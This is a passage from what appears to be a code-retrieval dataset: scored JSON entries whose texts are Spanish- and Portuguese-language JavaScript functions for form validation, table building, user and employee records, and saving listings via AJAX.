empleado;\n\n\t//Validamos que haya rellenado todos los datos, con form y input required mejor..\n\tif (name == \"\" || dni == \"\" || telefono == \"\"){\n\t\talert(\"El nombre, Dni, y telefono del empleado son campos obligatorios. Asegurese de rellenarlos\");\n\t\treturn false;\n\t}\n\n\tif (horasConsulta == \"\" && (actividades == \"\" || horasClase == \"\" || horasComun == \"\")) {\n\t\talert(\"Introduzca las horas de consulta para crear un fisio o las actividades y horas de clase y de sala comun para crear un monitor\");\n\t\treturn false;\n\t}\n\n\tif (horasConsulta != \"\"){\n\t\templeado = new Fisioterapeuta(name, dni, telefono, horasConsulta);\n\t}else{\n\t\templeado = new Monitor(name, dni, telefono, actividades, horasClase, horasComun);\n\t}\n\n\tvectorEmpleados.push(empleado);\n\taniadirEmpleadoTabla(empleado);\n\n}", "title": "" }, { "docid": "909d4b110ede907d74fce957d3979b0e", "score": "0.5244988", "text": "function cambiausuario() {\n var f = document.getElementById(\"editar\");\n if(f.f2nom.value==\"\" || f.f2nick.value==\"\" || f.f2pass.value==\"\" || f.f2mail.value==\"\") {\n alert(\"Deben llenarse todos los campos para proceder\");\n } else {\n var x = new paws();\n x.addVar(\"nombre\",f.f2nom.value);\n x.addVar(\"nick\",f.f2nick.value);\n x.addVar(\"pass\",f.f2pass.value);\n x.addVar(\"email\",f.f2mail.value);\n x.addVar(\"estatus\",f.f2est.selectedIndex);\n x.addVar(\"cliente_id\",f.f2cid.value);\n x.addVar(\"usuario_id\",f.f2usrid.value);\n x.go(\"clientes\",\"editausr\",llenausr);\n }\n}", "title": "" }, { "docid": "741ef4b7a0c3a90bb0b724c86ebd0591", "score": "0.52441597", "text": "function pintarSeccion(){\n\tvar extEdit = ($(\"#idNoticia\").val() != \"\") ? \"-e\" : \"\" ;\n\n\tvar seccion = '';\n\tseccion+='<div class=\"section-new sec'+contador+'\">';\n\tseccion+='<div class=\"create-fileds\">';\n\tseccion+='<div class=\"create-image-area\">';\n\t//seccion+='<div>';\n\tseccion+='<div class=\"icon-upload-new\">';\n\tseccion+='<i class=\"lnr lnr-upload\"></i>';\n\tseccion+='<i class=\"lnr lnr-picture\"></i>';\n\tseccion+='</div>';\n\tseccion+='<input type=\"file\" name=\"image'+extEdit+contador+'\" id=\"image'+extEdit+contador+'\" class=\"inputfile inputfile-3\"/>';\n\tseccion+='<label for=\"image'+extEdit+contador+'\"><span>Selecciona la imagen principal de la noticia</span></label>';\n\tseccion+='</div>';\n\tseccion+='</div>';\n\tseccion+='<div class=\"create-fileds\">';\n\tseccion+='<div class=\"create-field\">';\n\tseccion+='<textarea style=\"background-color:white;\" name=\"contenido'+extEdit+contador+'\" id=\"contenido'+extEdit+contador+'\" placeholder=\"Contenido sección '+contador+'\"></textarea>';\n\tseccion+='</div>';\n\tseccion+='</div>';\n\tseccion+='</div>';\n\n\n\tvar actual = $('.dinamico').html();\n\tif(actual !=''){\n\t\t$('.dinamico').append(seccion);\n\t\t//actual = actual + seccion;\n\t}else{\n\t\tactual = seccion;\n\t\t$('.dinamico').html(actual);\n\t}\n\t$('.section-new').show();\n\t$('.dinamico').show();\n\n\tfor (var i = 0; i < ($('.section-new').length -1); i++) {\n\t\tvar ocultar=$('.section-new').get(i);\n\t\t$(ocultar).hide();\n\t};\n\n\t$('#contenido'+extEdit+contador).trumbowyg({\n\t\t \tautogrow: true,\n\t\t resetCss: true,\n\t btns: [\n\t ['viewHTML'],\n\t ['formatting'],\n\t ['removeformat'],\n\t ['fullscreen'],\n\t 'btnGrp-semantic',\n\t ['link'],\n\t 'btnGrp-justify',\n\t 'btnGrp-lists',\n\t ['horizontalRule'],\n\t ]\n\t});\n\tloadFile();\n}", "title": "" }, { "docid": "c4fedc7efcd84926c46b58d2d1d1655a", "score": "0.5228963", "text": "function aniadirEmpleadoTabla(empleado) {\n\tvar tablaEmpleados = document.getElementById(\"tablaEmpleados\");\t\n\tvar celda;\n\tvar contadorCeldas = 0;\n\tvar fila = tablaEmpleados.insertRow(-1);\n\n\t//Vamos creando las celdas con el contenido del objeto\n\tvar newCell = fila.insertCell(contadorCeldas);\n\tnewCell.innerHTML = empleado.nombre;\n\tcontadorCeldas++;\n\t\n\tvar newCell = fila.insertCell(contadorCeldas);\n\tnewCell.innerHTML = empleado.dni;\n\tcontadorCeldas++;\n\n\tvar newCell = fila.insertCell(contadorCeldas);\n\tnewCell.innerHTML = empleado.telefono;\n\tcontadorCeldas++;\n\n\tif (empleado instanceof Fisioterapeuta){\n\t\tvar newCell = fila.insertCell(contadorCeldas);\n\t\tnewCell.innerHTML = empleado.horasConsulta;\n\t\tcontadorCeldas++;\n\t\t\n\t\t//Respetamos los huecos vacios con atributos del monitor\n\t\tvar newCell = fila.insertCell(contadorCeldas);\n\t\tnewCell.innerHTML = \"-\";\n\t\tcontadorCeldas++;\n\n\t\tvar newCell = fila.insertCell(contadorCeldas);\n\t\tnewCell.innerHTML = \"-\";\n\t\tcontadorCeldas++;\n\n\t\tvar newCell = fila.insertCell(contadorCeldas);\n\t\tnewCell.innerHTML = \"-\";\n\t\tcontadorCeldas++;\n\n\t}else{\n\t\tvar newCell = fila.insertCell(contadorCeldas);\n\t\tnewCell.innerHTML = \"-\";\n\t\tcontadorCeldas++;\n\t\t\n\t\tvar newCell = fila.insertCell(contadorCeldas);\n\t\tnewCell.innerHTML = empleado.actividades;\n\t\tcontadorCeldas++;\n\t\t\n\t\tvar newCell = fila.insertCell(contadorCeldas);\n\t\tnewCell.innerHTML = empleado.horasClase;\n\t\tcontadorCeldas++;\n\t\t\n\t\tvar newCell = fila.insertCell(contadorCeldas);\n\t\tnewCell.innerHTML = empleado.horasComun;\n\t\tcontadorCeldas++;\n\t}\n\t\n\tvar newCell = fila.insertCell(contadorCeldas);\n\tnewCell.innerHTML = \"<button onclick=\\\"mostrarDescripcion(this)\\\">DESCRIPCION</button>\";\t\t\n\n}", "title": "" }, { "docid": "244ddbd354e61fc7b0bd03f5b2c114f2", "score": "0.5228409", "text": "function docenteIngreso(){\r\n document.querySelector(\"#pAsignarNivel\").innerHTML = \"\";//Limpio interacciones previas con asignado de nivel\r\n document.querySelector(\"#divMostrarTablaXDocente\").innerHTML = \"\"; //Limpio interacciones previas con asignado de nivel\r\n document.querySelector(\"#txtNomAlumno\").value = \"\";//Limpio interacciones previas con asignado de nivel\r\n document.querySelector(\"#bodyHome\").style.display = \"block\"; //Muestro interfaz alumno\r\n document.querySelector(\"#h1TitBienvenida\").innerHTML = `Bienvenido/a ${usuarioLoggeado}`; //Bienvenida usuario\r\n document.querySelector(\"#navDocente\").style.display = \"block\"; //Muestro interfaz alumno\r\n document.querySelector(\"#auxUsuario\").style.display = \"block\"; //Muestro div auxiliar de usuarios\r\n document.querySelector(\"#auxLanding\").style.display = \"none\"; //Oculto botones de registrar e ingresar\r\n document.querySelector(\"#pagPrincipal\").style.display = \"none\"; //Oculto boton pagina principal\r\n document.querySelector(\"#registro\").style.display = \"none\"; //Oculto el formulario de registro\r\n document.querySelector(\"#ingreso\").style.display = \"none\"; //Oculto formulario de ingreso\r\n}", "title": "" }, { "docid": "835dac5c37300c8e0a8785436c4ed71a", "score": "0.521368", "text": "function etapa8() {\n \n //verifica se o usuário já inseriu as formas de pagamento corretamente\n if(valorTotalFestaLocal == 0 && countPrimeiraVezAdd !== 0){\n //recebendo H3 e setando nela o texto com o nome do cliente\n var tituloDaEtapa = document.querySelector(\"#tituloDaEtapa\");\n tituloDaEtapa.textContent = \"8º Etapa - Horários do Evento\";\n\n document.getElementById('inserirHorarios').style.display = ''; //habilita a etapa 8\n document.getElementById('valoresEformaPagamento').style.display = 'none'; //desabilita a etapa 7\n \n msgTratamentoEtapa7.innerHTML = \"\";\n \n //DEFINI O TEXTO DE CONFIRMAÇÃO DO VALOR A PEGAR COM CONTRATANTE\n \n //apaga o paragrafo do valor a pegar com contratante , pois vai criar outro\n if(criouPegarContratante > 0){\n document.getElementById('pValorPegarContratante').remove();\n }\n criouPegarContratante++;\n \n //recebe o elemento html da ultima etapa (confirmação) e salva em uma variavel \n var confirmacaoInfValoresFinais = document.querySelector(\"#valoresFinalInf\");\n \n //cria os elementos <h6> para todos os valores\n var paragrafoValorPegarContratante = document.createElement(\"h5\");\n\n //define o atributo\n paragrafoValorPegarContratante.class = \"card-title\"; \n paragrafoValorPegarContratante.id = \"pValorPegarContratante\"; \n \n //define o texto\n paragrafoValorPegarContratante.textContent = \"Receber com contrante: R$\"+valorPegarContratante; \n \n //coloca os <p> criados dentro do elemento html da etapa de confirmação\n confirmacaoInfValoresFinais.appendChild(paragrafoValorPegarContratante);\n \n //DEFINI O VALOR DO INPUT DO PEGAR COM CONTRATANTE\n document.getElementById('valorReceberContratante').value = valorPegarContratante;\n \n }else{\n msgTratamentoEtapa7.textContent = \"Não foi possível seguir para a 8º Etapa! Para seguir o valor total adicionado deve ser igual ao Valor Total. =)\"\n }\n \n }", "title": "" }, { "docid": "49b0c639bc07c53139d5488863ec077e", "score": "0.5208471", "text": "function AdicionaFeiticoConhecido(chave_classe, nivel, indice) {\n Dom('div-feiticos-conhecidos-' + chave_classe + '-' + nivel).appendChild(\n CriaDomFeiticoConhecido(chave_classe, nivel, indice));\n}", "title": "" }, { "docid": "30b5a2fd80d46b2135b3a3eb0c8ef47e", "score": "0.51990944", "text": "function dibujarMarcadorUnico(coordenadas, estilo, sourceCapa) {\n sourceCapa.clear();\n var marcadorPtoInteres = drawFeature.getMarcadorByStyle(coordenadas, estilo);\n // le asignamos un id para poder recuperarlo mas facil\n sourceCapa.addFeature(marcadorPtoInteres);\n }", "title": "" }, { "docid": "bdfb7eb533539e74356c63f9a8d373e8", "score": "0.5173924", "text": "function addCamisetaCarrito() {\n\t\t\tvar id = usuarioService.getCarrito();\n\t\t\tvar clone = setupClone();\n\t\t\tif (clone.id) {\n\t\t\t\tcarritoService.putCustom(clone, id).then(camisetaService.setTshirtDefaults);\n\t\t\t} else {\n\t\t\t\tcarritoService.postCustom(clone, id).then(camisetaService.setTshirtDefaults);\n\t\t\t}\n\t\t}", "title": "" }, { "docid": "6262abadc791fcdafcc34be17b715a29", "score": "0.5152552", "text": "async cadastrarDisciplina(req,res){\n const {serie_id, disciplina_id,usuario_id} = req.headers; \n if(!serie_id || !disciplina_id || !usuario_id){\n return res.json({\"msg\":\"Todos os campos são requeridos\"});\n }\n const disciplina = await Disciplina.findOne({_id:disciplina_id});\n const serie = await Serie.findOne({_id:serie_id});\n \n if(!disciplina){\n return res.json({\"msg\":\"Disciplina não encontrada\"});\n }\n if(!serie){\n return res.json({\"msg\":\"Série não encontrada\"});\n }\n\n await Serie.findByIdAndUpdate({_id:serie_id},{$push:{disciplinas:disciplina_id}});\n await Disciplina.findByIdAndUpdate({_id:disciplina_id},{$push:{series:serie_id}});\n //await Usuario.findByIdAndUpdate({_id:usuario_id},{$push:{disciplinas:disciplina_id}});\n return res.json(disciplina);\n }", "title": "" }, { "docid": "32a1b861abedd312cbc7a70a59eb809f", "score": "0.5146987", "text": "function User_Insert_Profils_de_droits_Liste_des_profils_de_droits0(Compo_Maitre)\n{\n\n/*\n***** INFOS ******\n\nNbr d'esclaves = 2\n\nId dans le tab: 90;\nsimple\nNbr Jointure: PAS DE JOINTURE;\n\nId dans le tab: 91;\ncomplexe\nNbr Jointure: 1;\n Joint n° 0 = droit,dp_numero,dp_numero\n\n******************\n*/\n\n var Table=\"droitprofil\";\n var CleMaitre = TAB_COMPO_PPTES[88].NewCle;\n var NomCleMaitre = DePrefixerChamp(Compo_Maitre.getCle());\n var dp_libelle=GetValAt(90);\n if (!ValiderChampsObligatoire(Table,\"dp_libelle\",TAB_GLOBAL_COMPO[90],dp_libelle,false))\n \treturn -1;\n if (!ValiderChampsType(Table,\"dp_libelle\",TAB_GLOBAL_COMPO[90],dp_libelle))\n \treturn -1;\n var Req=\"insert into \"+Table+\" \";\nvar TabInsertionEnPlus=new Array();\n Req+=\"(\"+NomCleMaitre+\",dp_libelle\"+(TabInsertionEnPlus.length!=0?\",\"+TabInsertionEnPlus[0]:\"\")+\")\";\n Req+=\" values (\"+CleMaitre+\",\"+(dp_libelle==\"\" ? \"null\" : \"'\"+ValiderChaine(dp_libelle)+\"'\" )+\"\"+(TabInsertionEnPlus.length!=0?\",\"+TabInsertionEnPlus[1]:\"\")+\")\";\n\n if (pgsql_update(Req)==0)\n\talert(\"Echec lors de l'insertion\");\nreturn CleMaitre;\n\n}", "title": "" }, { "docid": "621bd2b7cfff3604b03bf17e4d6ea08a", "score": "0.5140594", "text": "function insertAnuncio(anuncio) {\n\n // Calcula novo Id a partir do último código existente no array para novo cadastro. Se edição, retorna valor salvo\n if (edicao != 1) {\n novoId = (dados.livros.length)+1;\n }\n else {\n novoId = idAtual;\n }\n \n // Organiza os dados na forma do registro\n let novoAnuncio = {\n \"user_id\": usuario_logado,\n \"id\": novoId,\n \"fotAn\": anuncio.fotAn,\n \"titAn\": anuncio.titAn,\n \"descAn\": anuncio.descAn,\n \"locAn\": anuncio.locAn,\n \"contAn\": anuncio.contAn\n };\n\n // Insere o novo objeto no array para novos cadastros, ou atualiza em caso de edição\n if (edicao != 1) {\n dados.livros.push(novoAnuncio);\n displayMessage(\"Anuncio inserido com sucesso!\");\n }\n else {\n dados.livros[novoId-1] = novoAnuncio;\n displayMessage(\"Anuncio atualizado com sucesso!\");\n }\n\n // Atualiza os dados no Local Storage\n localStorage.setItem('dados', JSON.stringify(dados));\n\n // Altera \"edicao\" para diferente de 1, considerando que a próxima tarefa seja novo cadastro\n edicao = 0;\n}", "title": "" }, { "docid": "800778ddccca7baeacbefa664ed7eacb", "score": "0.51378024", "text": "function guardausuario() {\n var f = document.getElementById(\"editar\");\n if(f.f2nom.value==\"\" || f.f2nick.value==\"\" || f.f2pass.value==\"\" || f.f2mail.value==\"\") {\n alert(\"Deben llenarse todos los campos para proceder\");\n } else {\n var x = new paws();\n x.addVar(\"nombre\",f.f2nom.value);\n x.addVar(\"nick\",f.f2nick.value);\n x.addVar(\"pass\",f.f2pass.value);\n x.addVar(\"email\",f.f2mail.value);\n x.addVar(\"estatus\",f.f2est.selectedIndex);\n x.addVar(\"cliente_id\",f.f2cid.value);\n x.go(\"clientes\",\"guardausr\",llenausr);\n }\n}", "title": "" }, { "docid": "1d27164e1f0d41256e5dd42d01ac1989", "score": "0.51366615", "text": "function CrearCuento(){\n SeleccionLibro();\n BorrarPaginasCuento();\n\n var Cuento = {Nombre:$('#InputNombre').val(),Coleccion:$('#SelectorColecciones').val()};\n InsertarCuentos(Cuento);\n GetIDCuento(Cuento);\n CargarCuentos();\n}", "title": "" }, { "docid": "7b2894140678c219d6013fb072ce362c", "score": "0.5129909", "text": "function CrearTarea(presupuesto, consumido, total, nombre_alerta) {\r\n\r\n var lista_tarea = '@default';\r\n var tarea = Tasks.newTask();\r\n tarea.title = nombre_alerta;\r\n tarea.notes = 'El presupuesto ha llegado a ' + consumido + '€ de ' + presupuesto + '€ le queda ' + total + ' €';\r\n\r\n var tarea_tiempo = new Date();\r\n tarea_tiempo.setDate(tarea_tiempo.getDate() + 5);\r\n tarea.due = tarea_tiempo.toISOString();\r\n\r\n var tarea_insert = Tasks.Tasks.insert(tarea, lista_tarea);\r\n Logger.log('Tarea Creada ID: ' + tarea_insert.id);\r\n \r\n}", "title": "" }, { "docid": "518ab7967488c1ca7b9ea9dea2e1a524", "score": "0.5125032", "text": "function AgregarUsuario(admin)\n{ \n var form;\n form='<div class=\"EntraDatos\">';\n form+='<table>';\n form+='<thead>';\n form+='<tr><th colspan=\"2\">'; \n form+='Nuevo Usuario'; \n form+='</th></tr>'; \n form+='</thead>'; \n form+='<tbody>';\n form+='<tr>';\n form+='<td width=\"50%\">'; \n form+='<label>Cédula de Identidad:</label>';\n form+='<input type=\"text\" id=\"CI\" class=\"Editable\" tabindex=\"1000\" title=\"Introduzca el Número de Cédula\"/>';\n form+='<input type=\"button\" onclick=\"javascript:BuscarUsuario()\" tabindex=\"1001\" title=\"Buscar\" value=\"Buscar\"/>';\n form+='</td>';\n form+='<td>';\n form+='<label>Correo Electrónico:</label>';\n form+='<input type=\"text\" class=\"Campos\" id=\"Correo\" title=\"Correo Electrónico\" readonly=\"readonly\"/>';\n form+='</td>';\n form+='</tr>';\n form+='<tr>';\n form+='<td>';\n form+='<label>Nombre:</label>';\n form+='<input type=\"text\" class=\"Campos\" id=\"Nombre\" title=\"Nombre\" readonly=\"readonly\"/>';\n form+='</td>';\n form+='<td>';\n form+='<label>Apellido:</label>';\n form+='<input type=\"text\" class=\"Campos\" id=\"Apellido\" title=\"Apellido\" readonly=\"readonly\"/>';\n form+='</td>';\n form+='</tr>'; \n form+='<tr>';\n form+='<td colspan=\"2\">';\n form+='<input type=\"hidden\" id=\"id_unidad\" />'; \n form+='<label>Unidad Administrativa:</label>';\n form+='<center><input type=\"text\" class=\"Campos Editable\" id=\"Unidad\" title=\"Unidad Administrativa\" tabindex=\"1002\"/></center>';\n form+='</td>'; \n form+='</tr>';\n form+='<tr>';\n form+='<td>';\n form+='<label>Nivel de Usuario:</label>';\n form+='<select class=\"Campos Editable\" id=\"Nivel\" title=\"Seleccione el Nivel del Usuario\" tabindex=\"1003\">';\n form+='<option selected=\"selected\" value=\"0\">[Seleccione]</option>';\n form+='</select>';\n form+='</td>';\n form+='<td>';\n if (admin==1)\n {\n form+='<label>Rol de Usuario:</label>';\n form+='<div class=\"ToggleBoton\" onclick=\"javascript:ToggleBotonAdmin()\" title=\"Haga clic para cambiar\">';\n form+='<img id=\"imgAdmin\" src=\"imagenes/user16.png\"/>';\n form+='</div>';\n form+='<span id=\"spanAdmin\">&nbsp;Usuario Normal</span>'; \n }\n form+='<input type=\"hidden\" id=\"hideAdmin\" value=\"f\" />'; \n form+='</td>';\n form+='</tr>'; \n form+='</tbody>';\n \n form+='<tfoot>';\n form+='<tr><td colspan=\"2\">';\n form+='<div class=\"BotonIco\" onclick=\"javascript:GuardarUsuario()\" title=\"Guardar Usuario\">';\n form+='<img src=\"imagenes/guardar32.png\"/>&nbsp;'; \n form+='Guardar';\n form+= '</div>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;';\n form+='<div class=\"BotonIco\" onclick=\"javascript:CancelarModal()\" title=\"Cancelar\">';\n form+='<img src=\"imagenes/cancel.png\"/>&nbsp;';\n form+='Cancelar';\n form+= '</div>';\n form+='</td></tr>';\n form+='</tfoot>';\n form+='</table>'; \n form+='</div>';\n $('#VentanaModal').html(form);\n $('#VentanaModal').show(); \n $('#CI').focus();\n \n selector_autocompletar(); \n}", "title": "" }, { "docid": "0f0bd1bdfe420fa0e1027230337a8753", "score": "0.5123346", "text": "function insertPref(event){ \r\n\r\n const pref = event.currentTarget;\r\n\r\n /*Cambio l'immagine del cuore*/\r\n pref.src=listPreferiti[1]; \r\n pref.removeEventListener('click', insertPref);\r\n pref.addEventListener('click', removePref);\r\n \r\n /*Rendo visibile la sezione Preferiti nel caso in cui quello che inserisco è il primo dei Preferiti*/\r\n if(document.querySelectorAll('#sectionPref div').length==0){ \r\n sezionePreferiti.classList.remove('hidden');\r\n sezionePreferiti.classList.add('visible');\r\n }\r\n\r\n /*Seleziono il nodo 'padre' e la sezione dove voglio inserire il nodo,\r\n Poi inserisco il nodo nella sezione Preferiti.*/ \r\n\r\n var source = pref.parentNode; \r\n let section = document.getElementById(\"sectionPref\"); \r\n\r\n insertIntoPref(section,source);\r\n}", "title": "" }, { "docid": "ba1b20fa03240842b0abfeca6659b31b", "score": "0.5120222", "text": "insertEditingRegion(user) {\n this.insertEditRangeElement(user && user !== '' ? user : 'Everyone');\n }", "title": "" }, { "docid": "a7c70495f11d86299a000614386e99a0", "score": "0.5116551", "text": "function inserisciOfferteAccettate(listaOfferte){\r\n //nascondo gli esempi\r\n $(\"#div-offerte-accettate-esempio\").css('display','none');\r\n\r\n for(var i=0;i < listaOfferte.length;i++){\r\n var doc = listaOfferte[i];\r\n //Se l'offerta accettata non è presente la inserisco\r\n if(doc.value.ospitato && !offerteAccettate[doc.id]){\r\n offerteInCuiUtentePresente[doc.id] = doc.value;\r\n if(doc.value.ospitato === JSON.parse(localStorage.utente).username){\r\n creaBoxOffertaAccettata(doc.id,doc.value,\"Ospitato\");\r\n }\r\n else if(doc.value.ospitante === JSON.parse(localStorage.utente).username){\r\n creaBoxOffertaAccettata(doc.id,doc.value,\"Ospitante\");\r\n }\r\n }\r\n }\r\n}", "title": "" }, { "docid": "d8b80dcb232f460fba9e45562adeb466", "score": "0.51139", "text": "function createTarea(nombre, descripcion, fechaInicio, fechaLimite, ponderacion, puntuacion, fkIdUsuario)\n{ \n\n con.connect(function(err)\n {\n /*\n if(err) throw err;\n con.query(\"SELECT * FROM imagenes\", function (err,result,fields)\n {\n con.end();\n if(err) throw err;\n console.log(result);\n }); */\n\n var post = {nombre: nombre, descripcion: descripcion, fechaInicio: fechaInicio, fkIdUsuario: fkIdUsuario};\n var query = con.query('INSERT INTO proyectos SET ?', post, function(err, result) {\n // Neat!\n con.end();\n });\n \n console.log(query.sql);\n\n});\n}", "title": "" }, { "docid": "3146fc2c2d2e772abda076e932e5ea60", "score": "0.5102961", "text": "function addFco(fco) {\n\n console.log('Creazione fco elements');\n UserService.createFcoSelected(fco)\n .then(\n function () {\n\n console.log('Aggiunto con successo ai preferiti');\n $window.alert('Elemento aggiunto con successo ai preferiti' );\n\n\n },\n function (errResponse) {\n\n console.error('Errore: elemento già ai preferiti');\n $window.alert('Elemento già presente nei preferiti');\n\n }\n );\n }", "title": "" }, { "docid": "47563aaf93d803e31a1bf102b91d1725", "score": "0.5102814", "text": "function save(){\n\tid = -1;\n\t\n\tif (pos_comp != -1)//modificar\n\t\tid = positions[pos_comp].id;\n\t\t\n\t$(\"#btnGuardar\").hide();\n\t$(\"#mensajeTemporal\").show();\n\t$(\"#backImage\").css({cursor:\"wait\"});\n\t\n\tvar datos = {\n\t\tid: id\n\t};\n\t\n\t\n\tvar arrayTodosCampos = new Array(\"titulo\", \"usuario\", \"categoria\", \"tipo\", \"precio\", \"calleNumero\", \"estado\", \"ciudad\", \"colonia\", \"latitud\", \"longitud\", \"descripcion\", \"antiguedad\", \"codigo\", \"dimensionTotal\", \"dimensionConstruida\", \"estadoConservacion\", \"cocinaEquipada\", \"estudio\", \"cuartoServicio\", \"cuartoTV\", \"bodega\", \"terraza\", \"jardin\", \"areaJuegosInfantiles\", \"comedor\", \"serviciosBasicos\", \"gas\", \"lineaTelefonica\", \"internetDisponible\", \"aireAcondicionado\", \"calefaccion\", \"cuotaMantenimiento\", \"casetaVigilancia\", \"elevador\", \"seguridad\", \"alberca\", \"casaClub\", \"canchaTenis\", \"vistaMar\", \"jacuzzi\", \"estacionamientoVisitas\", \"permiteMascotas\", \"gimnasio\", \"centrosComercialesCercanos\", \"escuelasCercanas\", \"fumadoresPermitidos\", \"numeroOficinas\", \"wcs\", \"recamaras\", \"hospitalesCercanos\", \"iglesiasCercanas\", \"amueblado2\", \"semiAmueblado\", \"zonaIndustrial\", \"zonaTuristica\", \"zonaComercial\", \"zonaResidencial\", \"baresCercanos\", \"supermercadosCercanos\", \"excelenteUbicacion\", \"cisterna\", \"calentador\", \"camaras\", \"anden\", \"asador\", \"vapor\", \"sauna\", \"playa\", \"clubPlaya\", \"portonElectrico\", \"chimenea\", \"areasVerdes\", \"vistaPanoramica\", \"canchaSquash\", \"canchaBasket\", \"salaCine\", \"canchaFut\", \"familyRoom\", \"campoGolf\", \"cableTV\", \"biblioteca\", \"usosMultiples\", \"sala\", \"recibidor\", \"vestidor\", \"oratorio\", \"cava\", \"patio\", \"balcon\", \"lobby\", \"metrosFrente\", \"metrosFondo\", \"cajonesEstacionamiento\", \"desarrollo\");\n\t\n\t\n\tfor (var x = 0; x < arrayTodosCampos.length; x++) {\n\t\tvar valor = \"\";\n\t\t\n\t\tswitch($(\"#\"+arrayTodosCampos[x]).prop(\"tagName\")) {\n\t\t\tcase \"INPUT\":\n\t\t\t\tif ($(\"#\"+arrayTodosCampos[x]).prop(\"type\") == \"text\")//text\n\t\t\t\t\tvalor = $(\"#\"+arrayTodosCampos[x]).val();\n\t\t\t\telse//checkbox\n\t\t\t\t\tvalor = $(\"#\"+arrayTodosCampos[x]).prop(\"checked\") ? 1 : 0;\n\t\t\t\tbreak;\n\t\t\tcase \"SELECT\":\n\t\t\t\tvalor = $(\"#\"+arrayTodosCampos[x]).val();\n\t\t\t\tbreak;\n\t\t\tcase \"TEXTAREA\":\n\t\t\t\tvalor = $(\"#\"+arrayTodosCampos[x]).val();\n\t\t\t\tbreak;\n\t\t}\n\t\t\n\t\tdatos[arrayTodosCampos[x]] = valor;\n\t}\n\t\n\t\n\tdatos[\"cp\"] = $(\"#colonia\").val() != -1 ? $(\"#colonia option:selected\").attr(\"data-cp\") : \"\";\n\n\n\t$.ajax({\n\t\turl: \"lib_php/updInmueble.php\",\n\t\ttype: \"POST\",\n\t\tdataType: \"json\",\n\t\tdata: datos\n\t}).always(function(respuesta_json){\n\t\t$(\"#btnGuardar\").show();\n\t\t$(\"#mensajeTemporal\").hide();\n\t\t$(\"#backImage\").css({cursor:\"default\"});\n\t\t\n\t\t$(\"#resultados\").text(respuesta_json.mensaje);\n\t\tprincipalCerrarPopUp(inmueble_cerrarPopUp);\n\t\tconsultarTuplasExistentesPaginacion(nombrePHPConsultar, isBorrarTuplas, arrayCamposConsulta);\n\t});\n}", "title": "" }, { "docid": "47563aaf93d803e31a1bf102b91d1725", "score": "0.5102814", "text": "function save(){\n\tid = -1;\n\t\n\tif (pos_comp != -1)//modificar\n\t\tid = positions[pos_comp].id;\n\t\t\n\t$(\"#btnGuardar\").hide();\n\t$(\"#mensajeTemporal\").show();\n\t$(\"#backImage\").css({cursor:\"wait\"});\n\t\n\tvar datos = {\n\t\tid: id\n\t};\n\t\n\t\n\tvar arrayTodosCampos = new Array(\"titulo\", \"usuario\", \"categoria\", \"tipo\", \"precio\", \"calleNumero\", \"estado\", \"ciudad\", \"colonia\", \"latitud\", \"longitud\", \"descripcion\", \"antiguedad\", \"codigo\", \"dimensionTotal\", \"dimensionConstruida\", \"estadoConservacion\", \"cocinaEquipada\", \"estudio\", \"cuartoServicio\", \"cuartoTV\", \"bodega\", \"terraza\", \"jardin\", \"areaJuegosInfantiles\", \"comedor\", \"serviciosBasicos\", \"gas\", \"lineaTelefonica\", \"internetDisponible\", \"aireAcondicionado\", \"calefaccion\", \"cuotaMantenimiento\", \"casetaVigilancia\", \"elevador\", \"seguridad\", \"alberca\", \"casaClub\", \"canchaTenis\", \"vistaMar\", \"jacuzzi\", \"estacionamientoVisitas\", \"permiteMascotas\", \"gimnasio\", \"centrosComercialesCercanos\", \"escuelasCercanas\", \"fumadoresPermitidos\", \"numeroOficinas\", \"wcs\", \"recamaras\", \"hospitalesCercanos\", \"iglesiasCercanas\", \"amueblado2\", \"semiAmueblado\", \"zonaIndustrial\", \"zonaTuristica\", \"zonaComercial\", \"zonaResidencial\", \"baresCercanos\", \"supermercadosCercanos\", \"excelenteUbicacion\", \"cisterna\", \"calentador\", \"camaras\", \"anden\", \"asador\", \"vapor\", \"sauna\", \"playa\", \"clubPlaya\", \"portonElectrico\", \"chimenea\", \"areasVerdes\", \"vistaPanoramica\", \"canchaSquash\", \"canchaBasket\", \"salaCine\", \"canchaFut\", \"familyRoom\", \"campoGolf\", \"cableTV\", \"biblioteca\", \"usosMultiples\", \"sala\", \"recibidor\", \"vestidor\", \"oratorio\", \"cava\", \"patio\", \"balcon\", \"lobby\", \"metrosFrente\", \"metrosFondo\", \"cajonesEstacionamiento\", \"desarrollo\");\n\t\n\t\n\tfor (var x = 0; x < arrayTodosCampos.length; x++) {\n\t\tvar valor = \"\";\n\t\t\n\t\tswitch($(\"#\"+arrayTodosCampos[x]).prop(\"tagName\")) {\n\t\t\tcase \"INPUT\":\n\t\t\t\tif ($(\"#\"+arrayTodosCampos[x]).prop(\"type\") == \"text\")//text\n\t\t\t\t\tvalor = $(\"#\"+arrayTodosCampos[x]).val();\n\t\t\t\telse//checkbox\n\t\t\t\t\tvalor = $(\"#\"+arrayTodosCampos[x]).prop(\"checked\") ? 1 : 0;\n\t\t\t\tbreak;\n\t\t\tcase \"SELECT\":\n\t\t\t\tvalor = $(\"#\"+arrayTodosCampos[x]).val();\n\t\t\t\tbreak;\n\t\t\tcase \"TEXTAREA\":\n\t\t\t\tvalor = $(\"#\"+arrayTodosCampos[x]).val();\n\t\t\t\tbreak;\n\t\t}\n\t\t\n\t\tdatos[arrayTodosCampos[x]] = valor;\n\t}\n\t\n\t\n\tdatos[\"cp\"] = $(\"#colonia\").val() != -1 ? $(\"#colonia option:selected\").attr(\"data-cp\") : \"\";\n\n\n\t$.ajax({\n\t\turl: \"lib_php/updInmueble.php\",\n\t\ttype: \"POST\",\n\t\tdataType: \"json\",\n\t\tdata: datos\n\t}).always(function(respuesta_json){\n\t\t$(\"#btnGuardar\").show();\n\t\t$(\"#mensajeTemporal\").hide();\n\t\t$(\"#backImage\").css({cursor:\"default\"});\n\t\t\n\t\t$(\"#resultados\").text(respuesta_json.mensaje);\n\t\tprincipalCerrarPopUp(inmueble_cerrarPopUp);\n\t\tconsultarTuplasExistentesPaginacion(nombrePHPConsultar, isBorrarTuplas, arrayCamposConsulta);\n\t});\n}", "title": "" }, { "docid": "a4476540788be2f8413bcd0173934439", "score": "0.5101153", "text": "function registro(){ \r\n limpiarMensajesError();//Limpio todos los mensajes de error cada vez que corro la funcion\r\n let nombre = document.querySelector(\"#txtNombre\").value;\r\n let nombreUsuario = document.querySelector(\"#txtNombreUsuario\").value;\r\n let clave = document.querySelector(\"#txtContraseña\").value;\r\n let perfil = Number(document.querySelector(\"#selPerfil\").value); //Lo 